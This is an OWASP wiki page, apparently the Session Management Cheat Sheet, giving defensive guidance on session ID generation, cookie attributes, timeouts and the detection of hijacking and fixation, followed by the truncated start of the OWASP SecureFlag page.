A web session is a sequence of network HTTP request and response transactions associated to the same user. Modern and complex web applications require the retaining of information or status about each user for the duration of multiple requests. Therefore, sessions provide the ability to establish variables – such as access rights and localization settings – which will apply to each and every interaction a user has with the web application for the duration of the session. <br />
<br />
Web applications can create sessions to keep track of anonymous users after the very first user request. An example would be maintaining the user language preference. Additionally, web applications will make use of sessions once the user has authenticated. This ensures the ability to identify the user on any subsequent requests as well as being able to apply security access controls, authorized access to the user private data, and to increase the usability of the application. Therefore, current web applications can provide session capabilities both pre and post authentication. <br />
<br />
Once an authenticated session has been established, the session ID (or token) is temporarily equivalent to the strongest authentication method used by the application, such as username and password, passphrases, one-time passwords (OTP), client-based digital certificates, smartcards, or biometrics (such as fingerprint or eye retina). See the OWASP [[Authentication Cheat Sheet]].<br />
<br />
HTTP is a stateless protocol (RFC2616 [5]), where each request and response pair is independent of other web interactions. Therefore, in order to introduce the concept of a session, it is required to implement session management capabilities that link both the authentication and access control (or authorization) modules commonly available in web applications: <br />
<br />
[[Image:Session-Management-Diagram Cheat-Sheet.png|center|Session-Management-Diagram Cheat-Sheet.png]] <br> The session ID or token binds the user authentication credentials (in the form of a user session) to the user HTTP traffic and the appropriate access controls enforced by the web application. The complexity of these three components (authentication, session management, and access control) in modern web applications, plus the fact that its implementation and binding resides on the web developer’s hands (as web development framework do not provide strict relationships between these modules), makes the implementation of a secure session management module very challenging. <br />
<br />
The disclosure, capture, prediction, brute force, or fixation of the session ID will lead to session hijacking (or sidejacking) attacks, where an attacker is able to fully impersonate a victim user in the web application. Attackers can perform two types of session hijacking attacks, targeted or generic. In a targeted attack, the attacker’s goal is to impersonate a specific (or privileged) web application victim user. For generic attacks, the attacker’s goal is to impersonate (or get access as) any valid or legitimate user in the web application. <br />
<br />
<br> <br />
<br />
= Session ID Properties =<br />
<br />
In order to keep the authenticated state and track the users progress within the web application, applications provide users with a session identifier (session ID or token) that is assigned at session creation time, and is shared and exchanged by the user and the web application for the duration of the session (it is sent on every HTTP request). The session ID is a “name=value” pair. <br />
<br />
With the goal of implementing secure session IDs, the generation of identifiers (IDs or tokens) must meet the following properties: <br />
<br />
== Session ID Name Fingerprinting ==<br />
<br />
The name used by the session ID should not be extremely descriptive nor offer unnecessary details about the purpose and meaning of the ID. <br />
<br />
The session ID names used by the most common web application development frameworks can be easily fingerprinted [0], such as PHPSESSID (PHP), JSESSIONID (J2EE), CFID &amp; CFTOKEN (ColdFusion), ASP.NET_SessionId (ASP .NET), etc. Therefore, the session ID name can disclose the technologies and programming languages used by the web application. <br />
<br />
It is recommended to change the default session ID name of the web development framework to a generic name, such as “id”. <br />
<br />
== Session ID Length ==<br />
<br />
The session ID must be long enough to prevent brute force attacks, where an attacker can go through the whole range of ID values and verify the existence of valid sessions. <br />
<br />
The session ID length must be at least 128 bits (16 bytes).<br />
<br />
'''''NOTE''''': The session ID length of 128 bits is provided as a reference based on the assumptions made on the next section "Session ID Entropy". However, this number should not be considered as an absolute minimum value, as other implementation factors might influence its strength. For example, there are well-known implementations, such as Microsoft ASP.NET, making use of 120-bit random numbers for its session IDs (represented by 20-character strings [10]) that can provide a very good effective entropy, and as a result, can be considered long enough to avoid guessing or brute force attacks.<br />
<br />
== Session ID Entropy ==<br />
<br />
The session ID must be unpredictable (random enough) to prevent guessing attacks, where an attacker is able to guess or predict the ID of a valid session through statistical analysis techniques. For this purpose, a good PRNG (Pseudo Random Number Generator) must be used. <br />
<br />
The session ID value must provide at least 64 bits of entropy (if a good PRNG is used, this value is estimated to be half the length of the session ID).<br> <br />
<br />
'''''NOTE''''': The session ID entropy is really affected by other external and difficult to measure factors, such as the number of concurrent active sessions the web application commonly has, the absolute session expiration timeout, the amount of session ID guesses per second the attacker can make and the target web application can support, etc [2]. If a session ID with an entropy of 64 bits is used, it will take an attacker at least 292 years to successfully guess a valid session ID, assuming the attacker can try 10,000 guesses per second with 100,000 valid simultaneous sessions available in the web application [2]. <br />
<br />
== Session ID Content (or Value) ==<br />
<br />
The session ID content (or value) must be meaningless to prevent information disclosure attacks, where an attacker is able to decode the contents of the ID and extract details of the user, the session, or the inner workings of the web application. <br />
<br />
The session ID must simply be an identifier on the client side, and its value must never include sensitive information (or PII). The meaning and business or application logic associated to the session ID must be stored on the server side, and specifically, in session objects or in a session management database or repository. The stored information can include the client IP address, User-Agent, e-mail, username, user ID, role, privilege level, access rights, language preferences, account ID, current state, last login, session timeouts, and other internal session details. If the session objects and properties contain sensitive information, such as credit card numbers, it is required to duly encrypt and protect the session management repository. <br />
<br />
It is recommended to create cryptographically strong session IDs through the usage of cryptographic hash functions such as SHA1 (160 bits). <br />
<br />
<br> <br />
<br />
= Session Management Implementation =<br />
<br />
The session management implementation defines the exchange mechanism that will be used between the user and the web application to share and continuously exchange the session ID. There are multiple mechanisms available in HTTP to maintain session state within web applications, such as cookies (standard HTTP header), URL parameters (URL rewriting – RFC 2396), URL arguments on GET requests, body arguments on POST requests, such as hidden form fields (HTML forms), or proprietary HTTP headers. <br />
<br />
The preferred session ID exchange mechanism should allow defining advanced token properties, such as the token expiration date and time, or granular usage constraints. This is one of the reasons why cookies (RFCs 2109 &amp; 2965 &amp; 6265 [1]) are one of the most extensively used session ID exchange mechanisms, offering advanced capabilities not available in other methods. <br />
<br />
The usage of specific session ID exchange mechanisms, such as those where the ID is included in the URL, might disclose the session ID (in web links and logs, web browser history and bookmarks, the Referer header or search engines), as well as facilitate other attacks, such as the manipulation of the ID or session fixation attacks [3]. <br />
<br />
== Built-in Session Management Implementations ==<br />
<br />
Web development frameworks, such as J2EE, ASP .NET, PHP, and others, provide their own session management features and associated implementation. It is recommended to use these built-in frameworks versus building a home made one from scratch, as they are used worldwide on multiple web environments and have been tested by the web application security and development communities over time. <br />
<br />
However, be advised that these frameworks have also presented vulnerabilities and weaknesses in the past, so it is always recommended to use the latest version available, that potentially fixes all the well-known vulnerabilities, as well as review and change the default configuration to enhance its security by following the recommendations described along this document. <br />
<br />
The storage capabilities or repository used by the session management mechanism to temporarily save the session IDs must be secure, protecting the session IDs against local or remote accidental disclosure or unauthorized access. <br />
<br />
== Used vs. Accepted Session ID Exchange Mechanisms ==<br />
<br />
A web application should make use of cookies for session ID exchange management. If a user submits a session ID through a different exchange mechanism, such as a URL parameter, the web application should avoid accepting it as part of a defensive strategy to stop session fixation.<br />
<br />
'''''NOTE''''': Even if a web application makes use of cookies as its default session ID exchange mechanism, it might accept other exchange mechanisms too. It is therefore required to confirm via thorough testing all the different mechanisms currently accepted by the web application when processing and managing session IDs, and limit the accepted session ID tracking mechanisms to just cookies. In the past, some web applications used URL parameters, or even switched from cookies to URL parameters (via automatic URL rewriting), if certain conditions are met (for example, the identification of web clients without support for cookies or not accepting cookies due to user privacy concerns).<br />
<br />
== Transport Layer Security ==<br />
<br />
In order to protect the session ID exchange from active eavesdropping and passive disclosure in the network traffic, it is mandatory to use an encrypted HTTPS (SSL/TLS) connection for the entire web session, not only for the authentication process where the user credentials are exchanged. <br />
<br />
Additionally, the “Secure” cookie attribute (see below) must be used to ensure the session ID is only exchanged through an encrypted channel. The usage of an encrypted communication channel also protects the session against some session fixation attacks where the attacker is able to intercept and manipulate the web traffic to inject (or fix) the session ID on the victims web browser [4]. <br />
<br />
The following set of HTTPS (SSL/TLS) best practices are focused on protecting the session ID (specifically when cookies are used) and helping with the integration of HTTPS within the web application: <br />
<br />
*Web applications should never switch a given session from HTTP to HTTPS, or viceversa, as this will disclose the session ID in the clear through the network. <br />
*Web applications should not mix encrypted and unencrypted contents (HTML pages, images, CSS, Javascript files, etc) on the same host (or even domain - see the “domain” cookie attribute), as the request of any web object over an unencrypted channel might disclose the session ID. <br />
*Web applications, in general, should not offer public unencrypted contents and private encrypted contents from the same host. It is recommended to instead use two different hosts, such as www.example.com over HTTP (unencrypted) for the public contents, and secure.example.com over HTTPS (encrypted) for the private and sensitive contents (where sessions exist). The former host only has port TCP/80 open, while the later only has port TCP/443 open. <br />
*Web applications should avoid the extremely common HTTP to HTTPS redirection on the home page (using a 30x HTTP response), as this single unprotected HTTP request/response exchange can be used by an attacker to gather (or fix) a valid session ID.<br />
* Web applications should make use of “HTTP Strict Transport Security (HSTS)” (previously called STS) to enforce HTTPS connections.<br />
<br />
See the OWASP [[Transport Layer Protection Cheat Sheet]]. <br />
<br />
It is important to emphasize that SSL/TLS (HTTPS) does not protect against session ID prediction, brute force, client-side tampering or fixation. Yet, session ID disclosure and capture from the network traffic is one of the most prevalent attack vectors even today. <br />
<br />
<br> <br />
<br />
= Cookies =<br />
<br />
The session ID exchange mechanism based on cookies provides multiple security features in the form of cookie attributes that can be used to protect the exchange of the session ID: <br />
<br />
== Secure Attribute ==<br />
<br />
The “Secure” cookie attribute instructs web browsers to only send the cookie through an encrypted HTTPS (SSL/TLS) connection. This session protection mechanism is mandatory to prevent the disclosure of the session ID through MitM (Man-in-the-Middle) attacks. It ensures that an attacker cannot simply capture the session ID from web browser traffic. <br />
<br />
Forcing the web application to only use HTTPS for its communication (even when port TCP/80, HTTP, is closed in the web application host) does not protect against session ID disclosure if the “Secure” cookie has not been set - the web browser can be deceived to disclose the session ID over an unencrypted HTTP connection. The attacker can intercept and manipulate the victim user traffic and inject an HTTP unencrypted reference to the web application that will force the web browser to submit the session ID in the clear.<br />
<br />
See also: [[SecureFlag]]<br />
<br />
== HttpOnly Attribute ==<br />
<br />
The “HttpOnly” cookie attribute instructs web browsers not to allow scripts (e.g. JavaScript or VBscript) an ability to access the cookies via the DOM document.cookie object. This session ID protection is mandatory to prevent session ID stealing through XSS attacks. <br />
<br />
See the OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]].<br />
<br />
See also: [[HttpOnly]]<br />
<br />
== SameSite Attribute ==<br />
SameSite allows a server define a cookie attribute making it impossible to the browser send this cookie along with cross-site requests. The main goal is mitigate the risk of cross-origin information leakage, and provides some protection against cross-site request forgery attacks.<br />
<br />
See also: [[SameSite]]<br />
<br />
== Domain and Path Attributes ==<br />
<br />
The “Domain” cookie attribute instructs web browsers to only send the cookie to the specified domain and all subdomains. If the attribute is not set, by default the cookie will only be sent to the origin server. The “Path” cookie attribute instructs web browsers to only send the cookie to the specified directory or subdirectories (or paths or resources) within the web application. If the attribute is not set, by default the cookie will only be sent for the directory (or path) of the resource requested and setting the cookie. <br />
<br />
It is recommended to use a narrow or restricted scope for these two attributes. In this way, the “Domain” attribute should not be set (restricting the cookie just to the origin server) and the “Path” attribute should be set as restrictive as possible to the web application path that makes use of the session ID. <br />
<br />
Setting the “Domain” attribute to a too permissive value, such as “example.com” allows an attacker to launch attacks on the session IDs between different hosts and web applications belonging to the same domain, known as cross-subdomain cookies. For example, vulnerabilities in www.example.com might allow an attacker to get access to the session IDs from secure.example.com. <br />
<br />
Additionally, it is recommended not to mix web applications of different security levels on the same domain. Vulnerabilities in one of the web applications would allow an attacker to set the session ID for a different web application on the same domain by using a permissive “Domain” attribute (such as “example.com”) which is a technique that can be used in session fixation attacks [4]. <br />
<br />
Although the “Path” attribute allows the isolation of session IDs between different web applications using different paths on the same host, it is highly recommended not to run different web applications (especially from different security levels or scopes) on the same host. Other methods can be used by these applications to access the session IDs, such as the “document.cookie” object. Also, any web application can set cookies for any path on that host. <br />
<br />
Cookies are vulnerable to DNS spoofing/hijacking/poisoning attacks, where an attacker can manipulate the DNS resolution to force the web browser to disclose the session ID for a given host or domain. <br />
<br />
== Expire and Max-Age Attributes ==<br />
<br />
Session management mechanisms based on cookies can make use of two types of cookies, non-persistent (or session) cookies, and persistent cookies. If a cookie presents the “Max-Age” (that has preference over “Expires”) or “Expires” attributes, it will be considered a persistent cookie and will be stored on disk by the web browser based until the expiration time. Typically, session management capabilities to track users after authentication make use of non-persistent cookies. This forces the session to disappear from the client if the current web browser instance is closed. Therefore, it is highly recommended to use non-persistent cookies for session management purposes, so that the session ID does not remain on the web client cache for long periods of time, from where an attacker can obtain it. <br />
<br />
* Ensure that sensitive information is not comprised, by ensuring that sensitive information is not persistent / encrypting / stored on a need basis for the duration of the need<br />
<br />
* Ensure that unauthorized activities cannot take place via cookie manipulation<br />
<br />
* Ensure secure flag is set to prevent accidental transmission over “the wire” in a non-secure manner<br />
<br />
* Determine if all state transitions in the application code properly check for the cookies and enforce their use<br />
<br />
* Ensure entire cookie should be encrypted if sensitive data is persisted in the cookie<br />
<br />
* Define all cookies being used by the application, their name and why they are needed<br />
<br />
<br />
<br><br />
<br />
= Session ID Life Cycle =<br />
<br />
== Session ID Generation and Verification: Permissive and Strict Session Management ==<br />
<br />
There are two types of session management mechanisms for web applications, permissive and strict, related to session fixation vulnerabilities. The permissive mechanism allow the web application to initially accept any session ID value set by the user as valid, creating a new session for it, while the strict mechanism enforces that the web application will only accept session ID values that have been previously generated by the web application. <br />
<br />
The session tokens should be handled by the web server if possible or generated via a cryptographically secure random number generator.<br />
<br />
Although the most common mechanism in use today is the strict one (more secure, [https://wiki.php.net/rfc/session-use-strict-mode PHP defaults to permissive]). Developers must ensure that the web application does not use a permissive mechanism under certain circumstances. Web applications should never accept a session ID they have never generated, and in case of receiving one, they should generate and offer the user a new valid session ID. Additionally, this scenario should be detected as a suspicious activity and an alert should be generated. <br />
<br />
== Manage Session ID as Any Other User Input ==<br />
<br />
Session IDs must be considered untrusted, as any other user input processed by the web application, and they must be thoroughly validated and verified. Depending on the session management mechanism used, the session ID will be received in a GET or POST parameter, in the URL or in an HTTP header (e.g. cookies). If web applications do not validate and filter out invalid session ID values before processing them, they can potentially be used to exploit other web vulnerabilities, such as SQL injection if the session IDs are stored on a relational database, or persistent XSS if the session IDs are stored and reflected back afterwards by the web application. <br />
<br />
== Renew the Session ID After Any Privilege Level Change ==<br />
<br />
The session ID must be renewed or regenerated by the web application after any privilege level change within the associated user session. The most common scenario where the session ID regeneration is mandatory is during the authentication process, as the privilege level of the user changes from the unauthenticated (or anonymous) state to the authenticated state. Other common scenarios must also be considered, such as password changes, permission changes or switching from a regular user role to an administrator role within the web application. For all these web application critical pages, previous session IDs have to be ignored, a new session ID must be assigned to every new request received for the critical resource, and the old or previous session ID must be destroyed. <br />
<br />
The most common web development frameworks provide session functions and methods to renew the session ID, such as “request.getSession(true) &amp; HttpSession.invalidate()” (J2EE), “Session.Abandon() &amp; Response.Cookies.Add(new…)“ (ASP .NET), or “session_start() &amp; session_regenerate_id(true)” (PHP). <br />
<br />
The session ID regeneration is mandatory to prevent session fixation attacks [3], where an attacker sets the session ID on the victims user web browser instead of gathering the victims session ID, as in most of the other session-based attacks, and independently of using HTTP or HTTPS. This protection mitigates the impact of other web-based vulnerabilities that can also be used to launch session fixation attacks, such as HTTP response splitting or XSS [4]. <br />
<br />
A complementary recommendation is to use a different session ID or token name (or set of session IDs) pre and post authentication, so that the web application can keep track of anonymous users and authenticated users without the risk of exposing or binding the user session between both states. <br />
<br />
== Considerations When Using Multiple Cookies ==<br />
<br />
If the web application uses cookies as the session ID exchange mechanism, and multiple cookies are set for a given session, the web application must verify all cookies (and enforce relationships between them) before allowing access to the user session. <br />
<br />
It is very common for web applications to set a user cookie pre-authentication over HTTP to keep track of unauthenticated (or anonymous) users. Once the user authenticates in the web application, a new post-authentication secure cookie is set over HTTPS, and a binding between both cookies and the user session is established. If the web application does not verify both cookies for authenticated sessions, an attacker can make use of the pre-authentication unprotected cookie to get access to the authenticated user session [4]. <br />
<br />
Web applications should try to avoid the same cookie name for different paths or domain scopes within the same web application, as this increases the complexity of the solution and potentially introduces scoping issues.<br />
<br />
<br><br />
<br />
= Session Expiration =<br />
<br />
In order to minimize the time period an attacker can launch attacks over active sessions and hijack them, it is mandatory to set expiration timeouts for every session, establishing the amount of time a session will remain active. Insufficient session expiration by the web application increases the exposure of other session-based attacks, as for the attacker to be able to reuse a valid session ID and hijack the associated session, it must still be active. <br />
<br />
The shorter the session interval is, the lesser the time an attacker has to use the valid session ID. The session expiration timeout values must be set accordingly with the purpose and nature of the web application, and balance security and usability, so that the user can comfortably complete the operations within the web application without his session frequently expiring. Both the idle and absolute timeout values are highly dependent on how critical the web application and its data are. Common idle timeouts ranges are 2-5 minutes for high-value applications and 15- 30 minutes for low risk applications. <br />
<br />
When a session expires, the web application must take active actions to invalidate the session on both sides, client and server. The latter is the most relevant and mandatory from a security perspective. <br />
<br />
For most session exchange mechanisms, client side actions to invalidate the session ID are based on clearing out the token value. For example, to invalidate a cookie it is recommended to provide an empty (or invalid) value for the session ID, and set the “Expires” (or “Max-Age”) attribute to a date from the past (in case a persistent cookie is being used): <br />
<pre>Set-Cookie: id=; Expires=Friday, 17-May-03 18:45:00 GMT </pre> <br />
In order to close and invalidate the session on the server side, it is mandatory for the web application to take active actions when the session expires, or the user actively logs out, by using the functions and methods offered by the session management mechanisms, such as “HttpSession.invalidate()” (J2EE), “Session.Abandon()“ (ASP .NET) or “session_destroy()/unset()“ (PHP). <br />
<br />
== Automatic Session Expiration ==<br />
<br />
=== Idle Timeout ===<br />
<br />
All sessions should implement an idle or inactivity timeout. This timeout defines the amount of time a session will remain active in case there is no activity in the session, closing and invalidating the session upon the defined idle period since the last HTTP request received by the web application for a given session ID. <br />
<br />
The idle timeout limits the chances an attacker has to guess and use a valid session ID from another user. However, if the attacker is able to hijack a given session, the idle timeout does not limit the attacker’s actions, as he can generate activity on the session periodically to keep the session active for longer periods of time. <br />
<br />
Session timeout management and expiration must be enforced server-side. If the client is used to enforce the session timeout, for example using the session token or other client parameters to track time references (e.g. number of minutes since login time), an attacker could manipulate these to extend the session duration. <br />
<br />
=== Absolute Timeout ===<br />
<br />
All sessions should implement an absolute timeout, regardless of session activity. This timeout defines the maximum amount of time a session can be active, closing and invalidating the session upon the defined absolute period since the given session was initially created by the web application. After invalidating the session, the user is forced to (re)authenticate again in the web application and establish a new session. <br />
<br />
The absolute session limits the amount of time an attacker can use a hijacked session and impersonate the victim user. <br />
<br />
=== Renewal Timeout ===<br />
<br />
Alternatively, the web application can implement an additional renewal timeout after which the session ID is automatically renewed, in the middle of the user session, and independently of the session activity and, therefore, of the idle timeout. <br />
<br />
After a specific amount of time since the session was initially created, the web application can regenerate a new ID for the user session and try to set it, or renew it, on the client. The previous session ID value would still be valid for some time, accommodating a safety interval, before the client is aware of the new ID and starts using it. At that time, when the client switches to the new ID inside the current session, the application invalidates the previous ID.<br />
<br />
This scenario minimizes the amount of time a given session ID value, potentially obtained by an attacker, can be reused to hijack the user session, even when the victim user session is still active. The user session remains alive and open on the legitimate client, although its associated session ID value is transparently renewed periodically during the session duration, every time the renewal timeout expires. Therefore, the renewal timeout complements the idle and absolute timeouts, specially when the absolute timeout value extends significantly over time (e.g. it is an application requirement to keep the user sessions opened for long periods of time).<br />
<br />
Depending of the implementation, potentially there could be a race condition where the attacker with a still valid previous session ID sends a request before the victim user, right after the renewal timeout has just expired, and obtains first the value for the renewed session ID. At least in this scenario, the victim user might be aware of the attack as her session will be suddenly terminated because her associated session ID is not valid anymore.<br />
<br />
<br />
== Manual Session Expiration ==<br />
<br />
Web applications should provide mechanisms that allow security aware users to actively close their session once they have finished using the web application. <br />
<br />
=== Logout Button ===<br />
<br />
Web applications must provide a visible an easily accessible logout (logoff, exit, or close session) button that is available on the web application header or menu and reachable from every web application resource and page, so that the user can manually close the session at any time. As described [[Session_Management_Cheat_Sheet#Session_Expiration|above]], the web application must invalidate the session at least on server side.<br />
<br />
'''NOTE''': Unfortunately, not all web applications facilitate users to close their current session. Thus, client-side enhancements such as the PopUp LogOut Firefox add-on [9] allow conscientious users to protect their sessions by helping to close them diligently.<br />
<br />
== Web Content Caching ==<br />
<br />
Even after the session has been closed, it might be possible to access the private or sensitive data exchanged within the session through the web browser cache. Therefore, web applications must use restrictive cache directives for all the web traffic exchanged through HTTP and HTTPS, such as the “Cache-Control: no-cache,no-store” and “Pragma: no-cache” HTTP headers [5], and/or equivalent META tags on all or (at least) sensitive web pages. <br />
<br />
Independently of the cache policy defined by the web application, if caching web application contents is allowed, the session IDs must never be cached, so it is highly recommended to use the “Cache-Control: no-cache="Set-Cookie, Set-Cookie2"” directive, to allow web clients to cache everything except the session ID. <br />
<br />
<br> <br />
<br />
= Additional Client-Side Defenses for Session Management =<br />
<br />
Web applications can complement the previously described session management defenses with additional countermeasures on the client side. Client-side protections, typically in the form of JavaScript checks and verifications, are not bullet proof and can easily be defeated by a skilled attacker, but can introduce another layer of defense that has to be bypassed by intruders. <br />
<br />
== Initial Login Timeout ==<br />
<br />
Web applications can use JavaScript code in the login page to evaluate and measure the amount of time since the page was loaded and a session ID was granted. If a login attempt is tried after a specific amount of time, the client code can notify the user that the maximum amount of time to log in has passed and reload the login page, hence retrieving a new session ID. <br />
<br />
This extra protection mechanism tries to force the renewal of the session ID pre-authentication, avoiding scenarios where a previously used (or manually set) session ID is reused by the next victim using the same computer, for example, in session fixation attacks. <br />
<br />
== Force Session Logout On Web Browser Window Close Events ==<br />
<br />
Web applications can use JavaScript code to capture all the web browser tab or window close (or even back) events and take the appropriate actions to close the current session before closing the web browser, emulating that the user has manually closed the session via the logout button. <br />
<br />
== Disable Web Browser Cross-Tab Sessions ==<br />
<br />
Web applications can use JavaScript code once the user has logged in and a session has been established to force the user to re-authenticate if a new web browser tab or window is opened against the same web application. The web application does not want to allow multiple web browser tabs or windows to share the same session. Therefore, the application tries to force the web browser to not share the same session ID simultaneously between them. <br />
<br />
'''''NOTE''''': This mechanism cannot be implemented if the session ID is exchanged through cookies, as cookies are shared by all web browser tabs/windows.&nbsp; <br />
<br />
== Automatic Client Logout ==<br />
<br />
JavaScript code can be used by the web application in all (or critical) pages to automatically logout client sessions after the idle timeout expires, for example, by redirecting the user to the logout page (the same resource used by the logout button mentioned previously). <br />
<br />
The benefit of enhancing the server-side idle timeout functionality with client-side code is that the user can see that the session has finished due to inactivity, or even can be notified in advance that the session is about to expire through a count down timer and warning messages. This user-friendly approach helps to avoid loss of work in web pages that require extensive input data due to server-side silently expired sessions.<br />
<br />
<br> <br />
<br />
= Session Attacks Detection =<br />
<br />
== Session ID Guessing and Brute Force Detection ==<br />
<br />
If an attacker tries to guess or brute force a valid session ID, he needs to launch multiple sequential requests against the target web application using different session IDs from a single (or set of) IP address(es). Additionally, if an attacker tries to analyze the predictability of the session ID (e.g. using statistical analysis), he needs to launch multiple sequential requests from a single (or set of) IP address(es) against the target web application to gather new valid session IDs. <br />
<br />
Web applications must be able to detect both scenarios based on the number of attempts to gather (or use) different session IDs and alert and/or block the offending IP address(es). <br />
<br />
== Detecting Session ID Anomalies ==<br />
<br />
Web applications should focus on detecting anomalies associated to the session ID, such as its manipulation. The OWASP AppSensor Project [7] provides a framework and methodology to implement built-in intrusion detection capabilities within web applications focused on the detection of anomalies and unexpected behaviors, in the form of detection points and response actions. Instead of using external protection layers, sometimes the business logic details and advanced intelligence are only available from inside the web application, where it is possible to establish multiple session related detection points, such as when an existing cookie is modified or deleted, a new cookie is added, the session ID from another user is reused, or when the user location or User-Agent changes in the middle of a session. <br />
<br />
== Binding the Session ID to Other User Properties ==<br />
<br />
With the goal of detecting (and, in some scenarios, protecting against) user misbehaviors and session hijacking, it is highly recommended to bind the session ID to other user or client properties, such as the client IP address, User-Agent, or client-based digital certificate. If the web application detects any change or anomaly between these different properties in the middle of an established session, this is a very good indicator of session manipulation and hijacking attempts, and this simple fact can be used to alert and/or terminate the suspicious session. <br />
<br />
Although these properties cannot be used by web applications to trustingly defend against session attacks, they significantly increase the web application detection (and protection) capabilities. However, a skilled attacker can bypass these controls by reusing the same IP address assigned to the victim user by sharing the same network (very common in NAT environments, like Wi-Fi hotspots) or by using the same outbound web proxy (very common in corporate environments), or by manually modifying his User-Agent to look exactly as the victim users does. <br />
<br />
== Logging Sessions Life Cycle: Monitoring Creation, Usage, and Destruction of Session IDs ==<br />
<br />
Web applications should increase their logging capabilities by including information regarding the full life cycle of sessions. In particular, it is recommended to record session related events, such as the creation, renewal, and destruction of session IDs, as well as details about its usage within login and logout operations, privilege level changes within the session, timeout expiration, invalid session activities (when detected), and critical business operations during the session. <br />
<br />
The log details might include a timestamp, source IP address, web target resource requested (and involved in a session operation), HTTP headers (including the User-Agent and Referer), GET and POST parameters, error codes and messages, username (or user ID), plus the session ID (cookies, URL, GET, POST…). Sensitive data like the session ID should not be included in the logs in order to protect the session logs against session ID local or remote disclosure or unauthorized access. However, some kind of session-specific information must be logged into order to correlate log entries to specific sessions. It is recommended to log a salted-hash of the session ID instead of the session ID itself in order to allow for session-specific log correlation without exposing the session ID.<br />
<br />
In particular, web applications must thoroughly protect administrative interfaces that allow to manage all the current active sessions. Frequently these are used by support personnel to solve session related issues, or even general issues, by impersonating the user and looking at the web application as the user does.<br />
<br />
The session logs become one of the main web application intrusion detection data sources, and can also be used by intrusion protection systems to automatically terminate sessions and/or disable user accounts when (one or many) attacks are detected. If active protections are implemented, these defensive actions must be logged too.<br />
<br />
== Simultaneous Session Logons ==<br />
<br />
It is the web application design decision to determine if multiple simultaneous logons from the same user are allowed from the same or from different client IP addresses. If the web application does not want to allow simultaneous session logons, it must take effective actions after each new authentication event, implicitly terminating the previously available session, or asking the user (through the old, new or both sessions) about the session that must remain active. <br />
<br />
It is recommended for web applications to add user capabilities that allow checking the details of active sessions at any time, monitor and alert the user about concurrent logons, provide user features to remotely terminate sessions manually, and track account activity history (logbook) by recording multiple client details such as IP address, User-Agent, login date and time, idle time, etc. <br />
<br />
<br> <br />
<br />
= Session Management WAF Protections =<br />
<br />
There are situations where the web application source code is not available or cannot be modified, or when the changes required to implement the multiple security recommendations and best practices detailed above imply a full redesign of the web application architecture, and therefore, cannot be easily implemented in the short term. In these scenarios, or to complement the web application defenses, and with the goal of keeping the web application as secure as possible, it is recommended to use external protections such as Web Application Firewalls (WAFs) that can mitigate the session management threats already described. <br />
<br />
Web Application Firewalls offer detection and protection capabilities against session based attacks. On the one hand, it is trivial for WAFs to enforce the usage of security attributes on cookies, such as the “Secure” and “HttpOnly” flags, applying basic rewriting rules on the “Set-Cookie” header for all the web application responses that set a new cookie. On the other hand, more advanced capabilities can be implemented to allow the WAF to keep track of sessions, and the corresponding session IDs, and apply all kind of protections against session fixation (by renewing the session ID on the client-side when privilege changes are detected), enforcing sticky sessions (by verifying the relationship between the session ID and other client properties, like the IP address or User-Agent), or managing session expiration (by forcing both the client and the web application to finalize the session). <br />
<br />
The open-source ModSecurity WAF, plus the OWASP Core Rule Set [6], provide capabilities to detect and apply security cookie attributes, countermeasures against session fixation attacks, and session tracking features to enforce sticky sessions. <br />
<br />
<br> <br />
<br />
= Related Articles =<br />
<br />
[0] '''OWASP Cookies Database. OWASP.''' https://www.owasp.org/index.php/Category:OWASP_Cookies_Database <br />
<br />
[1] '''"HTTP State Management Mechanism". RFC 6265. IETF.''' http://tools.ietf.org/html/rfc6265 <br />
<br />
[2] '''Insufficient Session-ID Length. OWASP.''' https://www.owasp.org/index.php/Insufficient_Session-ID_Length <br />
<br />
[3] '''Session Fixation. Mitja Kolšek. 2002.''' http://www.acrossecurity.com/papers/session_fixation.pdf <br />
<br />
[4] '''"SAP: Session (Fixation) Attacks and Protections (in Web Applications)". Raul Siles. BlackHat EU 2011.''' <br />
<br />
https://media.blackhat.com/bh-eu-11/Raul_Siles/BlackHat_EU_2011_Siles_SAP_Session-Slides.pdf <br />
<br />
https://media.blackhat.com/bh-eu-11/Raul_Siles/BlackHat_EU_2011_Siles_SAP_Session-WP.pdf <br />
<br />
[5] '''"Hypertext Transfer Protocol -- HTTP/1.1". RFC2616. IETF.''' http://tools.ietf.org/html/rfc2616 <br />
<br />
[6] '''OWASP ModSecurity Core Rule Set (CSR) Project. OWASP.''' https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project <br />
<br />
[7] '''OWASP AppSensor Project. OWASP.''' https://www.owasp.org/index.php/Category:OWASP_AppSensor_Project <br />
<br />
[8] '''HttpOnly Session ID in URL and Page Body | Cross Site Scripting''' http://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html<br />
<br />
[9] '''PopUp LogOut Firefox add-on''' https://addons.mozilla.org/en-US/firefox/addon/popup-logout/ & http://popuplogout.iniqua.com<br />
<br />
[10] '''How and why session IDs are reused in ASP.NET''' https://support.microsoft.com/en-us/kb/899918<br />
<br />
= Authors and Primary Editors =<br />
<br />
Raul Siles (DinoSec) - raul[at]dinosec.com <br />
<br />
== Other Cheatsheets ==<br />
<br />
{{Cheatsheet_Navigation_Body}}<br />
<br />
|}<br />
<br />
[[Category:Cheatsheets]]</div>Dan Wallishttps://wiki.owasp.org/index.php?title=SecureFlag&diff=231868SecureFlag2017-07-27T04:08:52Z<p>Dan Wallis: </p>
<hr />
<div>{{taggedDocument<br />
| type=old<br />
| lastRevision=2015-12-14<br />
| comment=References out-of-date platforms and environments.<br />
}}<br />
<br />
= Overview =<br />
<br />
The secure flag is an option that can be set by the application server when sending a new cookie to the user within an HTTP&nbsp;Response. The purpose of the secure flag is to prevent cookies from being observed by unauthorized parties due to the transmission of a the cookie in clear text.<br><br />
<br />
To accomplish this goal, browsers which support the secure flag will only send cookies with the secure flag when the request is going to a HTTPS page. Said in another way, the browser will not send a cookie with the secure flag set over an unencrypted HTTP request.<br><br />
<br />
By setting the secure flag, the browser will prevent the transmission of a cookie over an unencrypted channel.<br><br />
<br />
= Setting the Secure Flag =<br />
<br />
Following sections describes setting the Secure Flag in respective technologies.<br />
<br />
== Java ==<br />
<br />
=== Servlet 3.0 (Java EE 6) ===<br />
